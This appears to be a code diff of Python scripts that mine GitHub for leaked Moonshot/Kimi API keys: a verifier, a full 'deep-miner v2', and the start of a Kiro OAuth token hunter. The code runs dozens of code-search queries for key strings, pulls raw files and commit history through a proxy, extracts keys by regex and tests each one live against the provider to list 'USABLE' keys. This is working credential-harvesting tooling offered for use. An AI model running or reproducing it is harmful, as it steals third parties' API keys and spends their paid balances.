|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
return resp.getcode(), resp.read().decode("utf-8", errors="replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try:
|
||||
return e.code, e.read().decode("utf-8", errors="replace")
|
||||
except Exception:
|
||||
return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def classify_balance(code, body):
|
||||
if code == 200:
|
||||
try:
|
||||
data = json.loads(body)
|
||||
except json.JSONDecodeError:
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
# Moonshot returns: {"balance":xxx,"cash_balance":xxx,...} or
|
||||
# {"success":true,"data":{"balance":...}} on some accounts
|
||||
bal = None
|
||||
if isinstance(data, dict):
|
||||
inner = data.get("data") if isinstance(data.get("data"), dict) else data
|
||||
avail = inner.get("available_balance")
|
||||
if avail is None:
|
||||
avail = inner.get("balance")
|
||||
cash = inner.get("cash_balance")
|
||||
if avail is not None:
|
||||
try:
|
||||
val = float(avail)
|
||||
if val > 0:
|
||||
return "USABLE", f"balance: CNY {val}"
|
||||
# available=0 — try voucher balance or check arrears
|
||||
voucher = inner.get("voucher_balance", 0)
|
||||
try:
|
||||
if float(voucher) > 0:
|
||||
return "USABLE", f"voucher: CNY {voucher}"
|
||||
except (TypeError, ValueError):
|
||||
pass
|
||||
return "NO_BALANCE", f"balance=0 cash={cash}: {body[:120]}"
|
||||
except (TypeError, ValueError):
|
||||
pass
|
||||
return "USABLE", f"balance: {body[:120]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"HTTP {code}: {body[:140]}"
|
||||
if code == 401:
|
||||
return "DEAD", "401 unauthorized"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"balance HTTP {code}: {body[:140]}"
|
||||
|
||||
|
||||
def classify_chat(code, body, model):
|
||||
bl = (body or "").lower()
|
||||
if code == 200:
|
||||
if '"choices"' in bl or '"id"' in bl:
|
||||
return "USABLE", f"chat {model}: 200"
|
||||
if any(x in bl for x in ("balance", "quota", "arrearage", "insufficient")):
|
||||
return "NO_BALANCE", f"chat {model}: {body[:120]}"
|
||||
return "USABLE", f"chat {model}: {body[:120]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"chat {model} HTTP {code}: {body[:120]}"
|
||||
if code == 401:
|
||||
return "DEAD", f"chat {model}: 401"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"chat {model} HTTP {code}: {body[:140]}"
|
||||
|
||||
|
||||
def verify(key):
|
||||
rank = {"USABLE": 4, "NO_BALANCE": 3, "NO_ACCESS": 2, "UNKNOWN": 1, "DEAD": 0}
|
||||
best = "DEAD"
|
||||
best_detail = ""
|
||||
|
||||
def update(v, d):
|
||||
nonlocal best, best_detail
|
||||
if rank[v] > rank[best]:
|
||||
best, best_detail = v, d
|
||||
|
||||
# 1) balance
|
||||
code, body = http("GET", "/v1/users/me/balance", key)
|
||||
update(*classify_balance(code, body))
|
||||
if best == "USABLE":
|
||||
return best, best_detail
|
||||
|
||||
# 2) chat — moonshot-v1-8k (default cheap model)
|
||||
code, body = http("POST", "/v1/chat/completions", key, body={
|
||||
"model": "moonshot-v1-8k",
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
})
|
||||
update(*classify_chat(code, body, "v1-8k"))
|
||||
if best == "USABLE":
|
||||
return best, best_detail
|
||||
|
||||
# 3) chat — kimi-k2 (long-context / reasoning-capable, some keys only have this)
|
||||
code, body = http("POST", "/v1/chat/completions", key, body={
|
||||
"model": "kimi-k2-0905-preview",
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 1,
|
||||
})
|
||||
update(*classify_chat(code, body, "k2"))
|
||||
|
||||
return best, best_detail
|
||||
|
||||
|
||||
def load_keys():
|
||||
keys = {}
|
||||
fakes = ("xxxx", "your-", "example", "test-key", "placeholder", "sk-00000000")
|
||||
# Moonshot keys: sk- + 48 chars (mixed case letters/digits). Some newer
|
||||
# keys are hex-only 32 chars like DeepSeek, but to avoid false positives
|
||||
# with OpenAI sk- keys we require the documented 48-char form OR a 32-hex
|
||||
# form that did not match OpenAI patterns.
|
||||
pat_long = re.compile(r"^sk-[A-Za-z0-9]{48}$")
|
||||
pat_hex = re.compile(r"^sk-[a-f0-9]{32}$")
|
||||
if not SOURCE.exists():
|
||||
print(f"ERROR: {SOURCE} not found", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
with open(SOURCE) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line.startswith("Moonshot|"):
|
||||
continue
|
||||
parts = line.split("|", 3)
|
||||
if len(parts) < 3:
|
||||
continue
|
||||
key = parts[1]
|
||||
url = parts[2] if len(parts) > 2 else ""
|
||||
low = key.lower()
|
||||
if any(x in low for x in fakes):
|
||||
continue
|
||||
if "T3BlbkFJ" in key: # this is actually an OpenAI key
|
||||
continue
|
||||
if not (pat_long.match(key) or pat_hex.match(key)):
|
||||
continue
|
||||
if key not in keys:
|
||||
keys[key] = url
|
||||
|
||||
with open(OUT / "extracted_keys.txt", "w") as f:
|
||||
for k, src in sorted(keys.items()):
|
||||
f.write(f"{k}|{src}\n")
|
||||
print(f"Loaded {len(keys)} unique Moonshot keys")
|
||||
return keys
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--workers", type=int, default=15)
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
args = ap.parse_args()
|
||||
|
||||
keys = load_keys()
|
||||
if args.limit:
|
||||
keys = dict(list(keys.items())[:args.limit])
|
||||
print(f" (limited to first {args.limit})")
|
||||
|
||||
if not keys:
|
||||
print("No keys to verify.")
|
||||
return
|
||||
|
||||
print(f"\nDeep verifying {len(keys)} Kimi keys against api.moonshot.cn (workers={args.workers})...")
|
||||
print("Rule: only 401 = dead; everything else kept.\n")
|
||||
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [], "UNKNOWN": [], "DEAD": []}
|
||||
start = time.time()
|
||||
processed = 0
|
||||
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(verify, k): (k, s) for k, s in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k, s = futs[fut]
|
||||
processed += 1
|
||||
try:
|
||||
verdict, detail = fut.result()
|
||||
except Exception as e:
|
||||
verdict, detail = "UNKNOWN", str(e)
|
||||
buckets[verdict].append((k, s, detail))
|
||||
if processed % 50 == 0:
|
||||
el = time.time() - start
|
||||
print(f" [{processed}/{len(keys)}] "
|
||||
f"usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} "
|
||||
f"noacc={len(buckets['NO_ACCESS'])} "
|
||||
f"unk={len(buckets['UNKNOWN'])} "
|
||||
f"dead={len(buckets['DEAD'])} "
|
||||
f"({processed/el:.1f}/s)")
|
||||
|
||||
el = time.time() - start
|
||||
print(f"\nDone in {el:.1f}s")
|
||||
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
||||
print(f" {n:11s}: {len(buckets[n])}")
|
||||
|
||||
for name, path in [
|
||||
("USABLE", OUT / "usable.txt"),
|
||||
("NO_BALANCE", OUT / "no_balance.txt"),
|
||||
("NO_ACCESS", OUT / "no_access.txt"),
|
||||
("UNKNOWN", OUT / "unknown.txt"),
|
||||
("DEAD", OUT / "dead.txt"),
|
||||
]:
|
||||
with open(path, "w") as f:
|
||||
for k, s, d in sorted(buckets[name]):
|
||||
f.write(f"{k}|{s}|{d}\n")
|
||||
print(f" written: {path}")
|
||||
|
||||
with open(OUT / "all_non_401.txt", "w") as f:
|
||||
for n in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN"):
|
||||
for k, s, d in sorted(buckets[n]):
|
||||
f.write(f"{n}|{k}|{s}|{d}\n")
|
||||
print(f" written: {OUT / 'all_non_401.txt'}")
|
||||
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE keys ===")
|
||||
for k, s, d in sorted(buckets["USABLE"]):
|
||||
print(f" {k} {d}")
|
||||
print(f" src: {s}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,404 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kimi (Moonshot AI) deep-miner v2.
|
||||
|
||||
Over the verify-only hunt_kimi.py:
|
||||
- GitHub code search with a broad query set (env vars, api.moonshot.cn in many
|
||||
languages/configs, kimi model strings, base_url/openai-compat, docker/k8s/CI).
|
||||
- HEAD raw extraction + optional bounded per-file commit-history scan.
|
||||
- Incremental candidate/key checkpoints.
|
||||
|
||||
Moonshot keys: sk-<mixed-case alnum, ~48 chars> (documented form). We also accept
|
||||
the 32-hex form only when it appears in a Kimi/Moonshot context (the fetch step
|
||||
already scopes candidate files to such contexts), to avoid OpenAI false positives.
|
||||
|
||||
Verify: GET /v1/users/me/balance -> chat moonshot-v1-8k -> kimi-k2.
|
||||
Only HTTP 401 => DEAD. Outputs results/kimi_v2/.
|
||||
"""
|
||||
import argparse, json, os, re, subprocess, sys, time
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
from content_cache import ContentCache, parse_raw_url
|
||||
|
||||
HERE=Path(__file__).parent
|
||||
RESULTS=HERE/"results"/"kimi_v2"; RESULTS.mkdir(parents=True,exist_ok=True)
|
||||
EXTRACTED=RESULTS/"extracted_keys.txt"; CANDIDATES=RESULTS/"candidates.txt"
|
||||
GLOBAL=HERE/"results"/"extracted_keys.txt"
|
||||
|
||||
UA="curl/8.5.0"; BASE="https://api.moonshot.cn"
|
||||
GH_PROXY=os.environ.get("GH_PROXY","http://114.111.19.228:3389")
|
||||
|
||||
_gh=None
|
||||
def gh_opener():
|
||||
global _gh
|
||||
if _gh is None:
|
||||
_gh=urllib.request.build_opener(urllib.request.ProxyHandler({"http":GH_PROXY,"https":GH_PROXY})) if GH_PROXY else urllib.request.build_opener()
|
||||
return _gh
|
||||
_di=None
|
||||
def direct():
|
||||
global _di
|
||||
if _di is None: _di=urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||
return _di
|
||||
|
||||
# Moonshot documented key: sk- + 48 mixed-case alnum. Widen slightly 40-60.
|
||||
LONG_RE=re.compile(r"sk-[A-Za-z0-9]{40,60}")
|
||||
HEX_RE=re.compile(r"sk-[a-f0-9]{32}")
|
||||
FAKES=("xxxx","your-","example","placeholder","test-key","sk-00000000","t3blbkfj","<your")
|
||||
|
||||
SEARCH_QUERIES=[
|
||||
'"MOONSHOT_API_KEY" extension:env','"MOONSHOT_API_KEY" filename:.env',
|
||||
'"MOONSHOT_API_KEY" extension:env.example','"MOONSHOT_API_KEY" extension:env.local',
|
||||
'"MOONSHOT_API_KEY" extension:yaml','"MOONSHOT_API_KEY" extension:yml',
|
||||
'"MOONSHOT_API_KEY" extension:json','"MOONSHOT_API_KEY" extension:toml',
|
||||
'"MOONSHOT_API_KEY" extension:ini','"MOONSHOT_API_KEY" extension:properties',
|
||||
'"MOONSHOT_API_KEY" extension:py','"MOONSHOT_API_KEY" extension:ipynb',
|
||||
'"MOONSHOT_API_KEY" extension:js','"MOONSHOT_API_KEY" extension:ts',
|
||||
'"MOONSHOT_API_KEY" extension:go','"MOONSHOT_API_KEY" extension:java',
|
||||
'"MOONSHOT_API_KEY" extension:kt','"MOONSHOT_API_KEY" extension:rb',
|
||||
'"MOONSHOT_API_KEY" extension:php','"MOONSHOT_API_KEY" extension:cs',
|
||||
'"MOONSHOT_API_KEY" extension:rs','"MOONSHOT_API_KEY" extension:swift',
|
||||
'"MOONSHOT_API_KEY" extension:dart','"MOONSHOT_API_KEY" extension:sh',
|
||||
'"KIMI_API_KEY" extension:env','"KIMI_API_KEY" filename:.env',
|
||||
'"KIMI_API_KEY" extension:py','"KIMI_API_KEY" extension:js','"KIMI_API_KEY" extension:ts',
|
||||
'"KIMI_API_KEY" extension:json','"KIMI_API_KEY" extension:yaml',
|
||||
'"MOONSHOT_KEY" extension:env','"MOONSHOT_TOKEN" extension:env',
|
||||
'"api.moonshot.cn" extension:py','"api.moonshot.cn" extension:js','"api.moonshot.cn" extension:ts',
|
||||
'"api.moonshot.cn" extension:go','"api.moonshot.cn" extension:java','"api.moonshot.cn" extension:php',
|
||||
'"api.moonshot.cn" extension:rb','"api.moonshot.cn" extension:cs','"api.moonshot.cn" extension:rs',
|
||||
'"api.moonshot.cn" extension:json','"api.moonshot.cn" extension:yaml','"api.moonshot.cn" extension:yml',
|
||||
'"api.moonshot.cn/v1"','"api.moonshot.cn/v1/chat/completions"',
|
||||
'"api.moonshot.cn" bearer sk-','"https://api.moonshot.cn/v1" "sk-"',
|
||||
'"moonshot-v1-8k" "sk-"','"moonshot-v1-32k" "sk-"','"moonshot-v1-128k" "sk-"',
|
||||
'"kimi-k2" "sk-"','"kimi-k2-0905-preview" "sk-"','"kimi-latest" "sk-"','"moonshot-v1-8k" "api_key"',
|
||||
'MOONSHOT_API_KEY=sk-','KIMI_API_KEY=sk-','moonshot_api_key=sk-','MOONSHOT_KEY=sk-',
|
||||
'"base_url" "api.moonshot.cn" extension:py','"base_url" "https://api.moonshot.cn"',
|
||||
'"base_url" "api.moonshot.cn" extension:js','"api.moonshot.cn" "OPENAI_API_KEY"',
|
||||
'"api.moonshot.cn" filename:.env','moonshot "base_url" filename:.env',
|
||||
'moonshot "sk-" filename:config.json','moonshot "sk-" filename:config.toml',
|
||||
'moonshot "sk-" filename:config.yaml','moonshot "sk-" filename:settings.py',
|
||||
'moonshot "sk-" filename:local.settings.json','moonshot "sk-" filename:application.yml',
|
||||
'"MOONSHOT_API_KEY" filename:docker-compose','"MOONSHOT_API_KEY" filename:Dockerfile',
|
||||
'"MOONSHOT_API_KEY" path:.github','"MOONSHOT_API_KEY" path:.gitlab',
|
||||
'"api.moonshot.cn" filename:values.yaml','"api.moonshot.cn" filename:deployment.yaml',
|
||||
'moonshot "sk-" filename:.env','"moonshot/v1" filename:.env',
|
||||
'OpenAI(api_key=sk- "api.moonshot.cn"','Moonshot(api_key=sk-','new Moonshot sk-',
|
||||
'"moonshot" "sk-" extension:md','"kimi" "api_key" extension:md',
|
||||
'moonshot "sk-" filename:README','"MOONSHOT_API_KEY" filename:README',
|
||||
'"moonshot" "sk-" extension:env','"kimi" "sk-" filename:.env',
|
||||
]
|
||||
|
||||
def github_token():
|
||||
t=os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if t: return t
|
||||
try:
|
||||
o=subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
|
||||
if o.returncode==0: return o.stdout.strip()
|
||||
except FileNotFoundError: pass
|
||||
h=Path.home()/".config"/"gh"/"hosts.yml"
|
||||
if h.exists():
|
||||
for ln in h.read_text().splitlines():
|
||||
ln=ln.strip()
|
||||
if ln.startswith("oauth_token:"): return ln.split(":",1)[1].strip()
|
||||
return None
|
||||
|
||||
def gh_api(url,token):
|
||||
hd={"Accept":"application/vnd.github+json","User-Agent":"key-hunter"}
|
||||
if token: hd["Authorization"]=f"Bearer {token}"
|
||||
req=urllib.request.Request(url,headers=hd)
|
||||
for _ in range(6):
|
||||
try:
|
||||
with gh_opener().open(req,timeout=30) as r: return json.loads(r.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403,429):
|
||||
rs=e.headers.get("X-RateLimit-Reset"); w=max(int(rs)-int(time.time()),5) if rs else 30
|
||||
print(f" rate-limited {w}s",file=sys.stderr); time.sleep(w+1); continue
|
||||
if e.code==422: return None
|
||||
e.read(); return None
|
||||
except Exception as e:
|
||||
print(f" net {e}",file=sys.stderr); time.sleep(3)
|
||||
return None
|
||||
|
||||
def gh_search(q,token,pp=100,pages=10):
|
||||
for page in range(1,pages+1):
|
||||
d=gh_api(f"https://api.github.com/search/code?q={urllib.parse.quote(q)}&per_page={pp}&page={page}",token)
|
||||
if not d: return
|
||||
items=d.get("items",[])
|
||||
if not items: return
|
||||
for it in items: yield it
|
||||
if len(items)<pp: return
|
||||
time.sleep(2.2 if token else 7)
|
||||
|
||||
def to_raw(u): return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
|
||||
|
||||
def split_html_url(u):
|
||||
m=re.match(r"https://github\.com/([^/]+/[^/]+)/blob/([^/]+)/(.*)",u)
|
||||
if m: return m.group(1),m.group(2),m.group(3)
|
||||
return None,None,None
|
||||
|
||||
def fetch_raw(url):
|
||||
req=urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"})
|
||||
try:
|
||||
with gh_opener().open(req,timeout=20) as r: return r.read().decode("utf-8","replace")
|
||||
except Exception: return ""
|
||||
|
||||
def make_cached_fetch(cc, fetcher=fetch_raw):
|
||||
"""Return a fetch_raw replacement served by ContentCache.
|
||||
Parses repo/sha/path out of the URL; immutable blob SHAs are cached
|
||||
forever, so unchanged search results never get re-crawled."""
|
||||
def cached(url):
|
||||
repo, sha, path = parse_raw_url(url)
|
||||
if repo and sha and path:
|
||||
txt = cc.get(repo, path, sha)
|
||||
if txt is not None:
|
||||
return txt
|
||||
txt = fetcher(url)
|
||||
if txt:
|
||||
cc.put(repo, path, sha, txt)
|
||||
return txt
|
||||
return fetcher(url)
|
||||
return cached
|
||||
|
||||
def list_file_commits(repo,path,token,max_commits=3):
|
||||
shas=[]
|
||||
d=gh_api(f"https://api.github.com/repos/{repo}/commits?path={urllib.parse.quote(path)}&per_page={max_commits}",token)
|
||||
if not d: return shas
|
||||
for c in d:
|
||||
try: shas.append(c["sha"])
|
||||
except Exception: pass
|
||||
return shas
|
||||
|
||||
def extract(text,keys,src):
|
||||
n=0
|
||||
low=text.lower()
|
||||
kimi_ctx = ("moonshot" in low) or ("kimi" in low)
|
||||
for k in LONG_RE.findall(text or ""):
|
||||
kl=k.lower()
|
||||
if any(f in kl for f in FAKES): continue
|
||||
# reject obvious OpenAI project keys
|
||||
if "t3blbkfj" in kl: continue
|
||||
if k not in keys: keys[k]=src; n+=1
|
||||
# only accept 32-hex when file context is moonshot/kimi (avoid OpenAI/DeepSeek collisions)
|
||||
if kimi_ctx:
|
||||
for k in HEX_RE.findall(text or ""):
|
||||
if k not in keys and not any(f in k for f in FAKES):
|
||||
keys[k]=src; n+=1
|
||||
return n
|
||||
|
||||
def http(method,path,key,body=None,timeout=25):
|
||||
h={"User-Agent":UA,"Accept":"*/*","Authorization":f"Bearer {key}"}
|
||||
data=None
|
||||
if body is not None:
|
||||
data=json.dumps(body).encode(); h["Content-Type"]="application/json"
|
||||
req=urllib.request.Request(BASE+path,data=data,headers=h,method=method)
|
||||
try:
|
||||
with direct().open(req,timeout=timeout) as r: return r.getcode(),r.read().decode("utf-8","replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code,e.read().decode("utf-8","replace")
|
||||
except Exception: return e.code,""
|
||||
except Exception as e:
|
||||
return 0,f"network: {type(e).__name__}: {e}"
|
||||
|
||||
RANK={"USABLE":4,"NO_BALANCE":3,"NO_ACCESS":2,"UNKNOWN":1,"DEAD":0}
|
||||
def bump(best,detail,v,d):
|
||||
if RANK[v]>RANK[best]: return v,d
|
||||
return best,detail
|
||||
|
||||
def verify(key):
|
||||
# NOTE: Moonshot's /balance LIES. Accounts with suspended/arrears still
|
||||
# report positive balance, so we NEVER trust it alone - a real chat 200
|
||||
# is the only USABLE signal. We use balance only as a weak hint.
|
||||
best,detail="DEAD",""
|
||||
code,body=http("GET","/v1/users/me/balance",key)
|
||||
bal_hint=""
|
||||
if code==200:
|
||||
try:
|
||||
d=json.loads(body); inner=d.get("data",d)
|
||||
val=0.0
|
||||
for fld in ("available_balance","balance","cash_balance","voucher_balance"):
|
||||
try: val=max(val,float(inner.get(fld,0) or 0))
|
||||
except (TypeError,ValueError): pass
|
||||
if val>0: bal_hint=f"bal=CNY{val:.2f} "
|
||||
except Exception: pass
|
||||
best,detail="NO_BALANCE",f"{bal_hint}balance OK (unverified)"
|
||||
elif code in (402,429):
|
||||
best,detail="NO_BALANCE",f"bal HTTP {code}: {body[:120]}"
|
||||
elif code==0:
|
||||
best,detail="UNKNOWN",body[:160]
|
||||
elif code!=401:
|
||||
best,detail="NO_ACCESS",f"bal HTTP {code}: {body[:120]}"
|
||||
|
||||
# ALWAYS run a real chat - this is the source of truth.
|
||||
for model in ("moonshot-v1-8k","kimi-k2-0905-preview"):
|
||||
code,body=http("POST","/v1/chat/completions",key,body={
|
||||
"model":model,"max_tokens":8,"messages":[{"role":"user","content":"reply OK"}]})
|
||||
bl=(body or "").lower()
|
||||
if code==200 and '"choices"' in bl:
|
||||
try:
|
||||
txt=json.loads(body)["choices"][0]["message"].get("content","")
|
||||
return "USABLE",f"chat OK ({model}) {bal_hint}reply={txt[:30]!r}"
|
||||
except Exception:
|
||||
return "USABLE",f"chat 200 OK ({model}) {bal_hint}"
|
||||
if any(x in bl for x in ("suspended","insufficient_balance","insufficient balance",
|
||||
"exceeded_current_quota","arrearage","recharge",
|
||||
"account is suspended")):
|
||||
best,detail="NO_BALANCE",f"[{model}] suspended/arrears: {body[:140]}"
|
||||
elif code in (402,429) or any(x in bl for x in ("balance","quota")):
|
||||
v,d="NO_BALANCE",f"[{model}] HTTP {code}: {body[:140]}"
|
||||
if RANK[v]>RANK[best]: best,detail=v,d
|
||||
elif code==401:
|
||||
return "DEAD",f"chat 401 ({model})"
|
||||
elif code==0:
|
||||
if RANK["UNKNOWN"]>RANK[best]: best,detail="UNKNOWN",body[:160]
|
||||
else:
|
||||
v,d="NO_ACCESS",f"[{model}] HTTP {code}: {body[:120]}"
|
||||
if RANK[v]>RANK[best]: best,detail=v,d
|
||||
return best,detail
|
||||
|
||||
def main():
|
||||
ap=argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only",action="store_true")
|
||||
ap.add_argument("--workers",type=int,default=20)
|
||||
ap.add_argument("--commit-workers",type=int,default=10)
|
||||
ap.add_argument("--max-commits",type=int,default=3,
|
||||
help="per-file commit history depth (0 disables Stage 2c)")
|
||||
ap.add_argument("--resume",action="store_true")
|
||||
ap.add_argument("--limit",type=int,default=0)
|
||||
ap.add_argument("--no-cache",action="store_true",help="ignore verification cache")
|
||||
ap.add_argument("--no-content-cache",action="store_true",
|
||||
help="ignore raw file content cache (always re-crawl)")
|
||||
args=ap.parse_args()
|
||||
|
||||
keys={}
|
||||
# seed from global pool
|
||||
if GLOBAL.exists():
|
||||
for line in GLOBAL.read_text().splitlines():
|
||||
if not line.startswith("Moonshot|"): continue
|
||||
p=line.split("|",3)
|
||||
if len(p)>=3: keys.setdefault(p[1],p[2])
|
||||
# seed from prior kimi v1 extracted
|
||||
v1=HERE/"results"/"kimi"/"extracted_keys.txt"
|
||||
if v1.exists():
|
||||
for line in v1.read_text().splitlines():
|
||||
p=line.split("|",1)
|
||||
if p: keys.setdefault(p[0],p[1] if len(p)>1 else "v1")
|
||||
print(f"seeded {len(keys)} known Kimi keys")
|
||||
|
||||
candidates={}
|
||||
if args.resume and CANDIDATES.exists():
|
||||
for line in CANDIDATES.read_text().splitlines():
|
||||
if "|" in line:
|
||||
u,r=line.split("|",1); candidates[u]=r
|
||||
print(f"resumed {len(candidates)} candidates")
|
||||
|
||||
if not args.verify_only:
|
||||
token=github_token(); print(f"GitHub token: {'yes' if token else 'NO'}\n")
|
||||
print("=== Stage 1: search ===")
|
||||
for i,q in enumerate(SEARCH_QUERIES,1):
|
||||
print(f" [{i:3d}/{len(SEARCH_QUERIES)}] {q}")
|
||||
try:
|
||||
for it in gh_search(q,token):
|
||||
u=it.get("html_url","")
|
||||
if u and u not in candidates:
|
||||
candidates[u]=it.get("repository",{}).get("full_name","?")
|
||||
except Exception as e:
|
||||
print(f" err {e}",file=sys.stderr)
|
||||
if i%10==0:
|
||||
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
|
||||
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
|
||||
print(f" candidates: {len(candidates)}")
|
||||
|
||||
print("\n=== Stage 2a: HEAD fetch & extract ===")
|
||||
done=new=0
|
||||
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
|
||||
cfetch = make_cached_fetch(cc)
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs={pool.submit(cfetch,to_raw(u)):u for u in candidates}
|
||||
for fut in as_completed(futs):
|
||||
u=futs[fut]; done+=1
|
||||
try: c=fut.result()
|
||||
except Exception: c=""
|
||||
new+=extract(c,keys,u)
|
||||
if done%200==0:
|
||||
print(f" {done}/{len(candidates)} keys={len(keys)} new={new} "
|
||||
f"cache={cc.hits}hit/{cc.misses}fetch")
|
||||
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
|
||||
st=cc.stats()
|
||||
print(f" content cache: {st['hits']} hits, {st['misses']} fetched "
|
||||
f"({st['bytes_served']} bytes served from cache)")
|
||||
print(f" after HEAD: {len(keys)} keys ({new} new)")
|
||||
|
||||
if args.max_commits>0 and token:
|
||||
print(f"\n=== Stage 2c: commit history (depth {args.max_commits}) ===")
|
||||
repo_paths={}
|
||||
for u in candidates:
|
||||
repo,sha,path=split_html_url(u)
|
||||
if repo and path: repo_paths.setdefault(repo,set()).add(path)
|
||||
tasks=[(r,p) for r,paths in repo_paths.items() for p in paths]
|
||||
print(f" {len(tasks)} (repo,path) pairs, {len(repo_paths)} repos")
|
||||
done=0
|
||||
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
|
||||
cfetch = make_cached_fetch(cc)
|
||||
def job(rp):
|
||||
repo,path=rp; found=[]
|
||||
for sha in list_file_commits(repo,path,token,args.max_commits):
|
||||
txt=cfetch(f"https://raw.githubusercontent.com/{repo}/{sha}/{path}")
|
||||
for k in LONG_RE.findall(txt or ""):
|
||||
if "t3blbkfj" not in k.lower() and not any(f in k.lower() for f in FAKES):
|
||||
found.append((k,f"https://github.com/{repo}/blob/{sha}/{path}"))
|
||||
return found
|
||||
with ThreadPoolExecutor(max_workers=args.commit_workers) as pool:
|
||||
futs={pool.submit(job,t):t for t in tasks}
|
||||
for fut in as_completed(futs):
|
||||
done+=1
|
||||
try:
|
||||
for k,src in fut.result():
|
||||
if k not in keys: keys[k]=src; new+=1
|
||||
except Exception: pass
|
||||
if done%200==0:
|
||||
print(f" {done}/{len(tasks)} keys={len(keys)} new={new} "
|
||||
f"cache={cc.hits}hit/{cc.misses}fetch")
|
||||
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
|
||||
st=cc.stats()
|
||||
print(f" commit content cache: {st['hits']} hits, {st['misses']} fetched")
|
||||
print(f" after commits: {len(keys)} keys")
|
||||
|
||||
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
|
||||
if args.verify_only and EXTRACTED.exists():
|
||||
keys={}
|
||||
for line in EXTRACTED.read_text().splitlines():
|
||||
p=line.split("|",1)
|
||||
if p: keys[p[0]]=p[1] if len(p)>1 else "?"
|
||||
if args.limit>0:
|
||||
keys=dict(list(keys.items())[:args.limit])
|
||||
|
||||
print(f"\n=== Stage 3: verify {len(keys)} keys (workers={args.workers}) ===")
|
||||
B={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
|
||||
done=0; st=time.time()
|
||||
with CachedVerifier("kimi", verify, force=args.no_cache) as ver:
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs={pool.submit(ver,k):(k,s) for k,s in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k,s=futs[fut]; done+=1
|
||||
try: v,d=fut.result()
|
||||
except Exception as e: v,d="UNKNOWN",f"exc {e}"
|
||||
B[v].append((k,s,d))
|
||||
if done%100==0:
|
||||
el=time.time()-st
|
||||
print(f" [{done:5d}/{len(keys)}] use={len(B['USABLE'])} nobal={len(B['NO_BALANCE'])} noacc={len(B['NO_ACCESS'])} unk={len(B['UNKNOWN'])} dead={len(B['DEAD'])} ({done/el:.1f}/s)")
|
||||
print(f" cache: {ver.stats()['hits']} hits, {ver.stats()['live']} live queries")
|
||||
print(f"\nDone in {time.time()-st:.1f}s")
|
||||
for n in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
|
||||
p=RESULTS/f"{n.lower()}.txt"
|
||||
p.write_text("\n".join(f"{k}|{s}|{d}" for k,s,d in sorted(B[n])))
|
||||
print(f" {n:11s}: {len(B[n]):5d} -> {p.name}")
|
||||
(RESULTS/"all_non_401.txt").write_text("\n".join(
|
||||
f"{n}|{k}|{s}|{d}" for n in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN") for k,s,d in sorted(B[n])))
|
||||
if B["USABLE"]:
|
||||
print("\n=== USABLE ===")
|
||||
for k,s,d in sorted(B["USABLE"]): print(f" {k}\n {s}\n {d}")
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
@@ -0,0 +1,458 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kiro (AWS AI IDE) full hunter.
|
||||
|
||||
Kiro uses OAuth refresh tokens rather than static API keys. A valid refresh token
|
||||
